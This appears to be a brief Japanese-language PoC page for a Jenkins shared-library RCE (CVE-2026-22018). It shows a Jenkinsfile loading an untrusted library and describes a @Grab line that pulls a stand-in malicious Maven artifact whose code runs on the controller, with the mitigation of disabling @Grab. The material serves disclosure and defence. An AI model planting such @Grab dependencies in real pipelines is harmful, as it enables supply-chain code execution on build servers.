
Groovy @Grab を介した重大な Jenkins Pipeline Shared Library RCE である CVE-2026-22018 の PoC。サプライチェーンコードインジェクションと緩和手順を示します。
@Grab による Jenkins Pipeline 共有ライブラリのコード実行// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
evilStep()
}
Jenkins パイプラインは、完全には信頼されていないソースから共有ライブラリを読み込みます。このライブラリは @Grab アノテーションを使用して外部の Maven アーティファクトをダウンロードします。これらのアーティファクトには、Groovy コンパイル中に Jenkins コントローラ上でコードを実行する悪意のあるクラスが含まれる可能性があります。
@Grab アノテーションが実行時に任意の JAR を取得してロードします。共有ライブラリはサンドボックス化されていません。vars/evilStep.groovy に @Grab('com.evil:malware:1.0') を含む信頼できないライブラリを使用してパイプラインを構成します。パイプラインが実行されると、悪意のある JAR の静的初期化子が実行されます。
@Grab を無効にしてください。git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.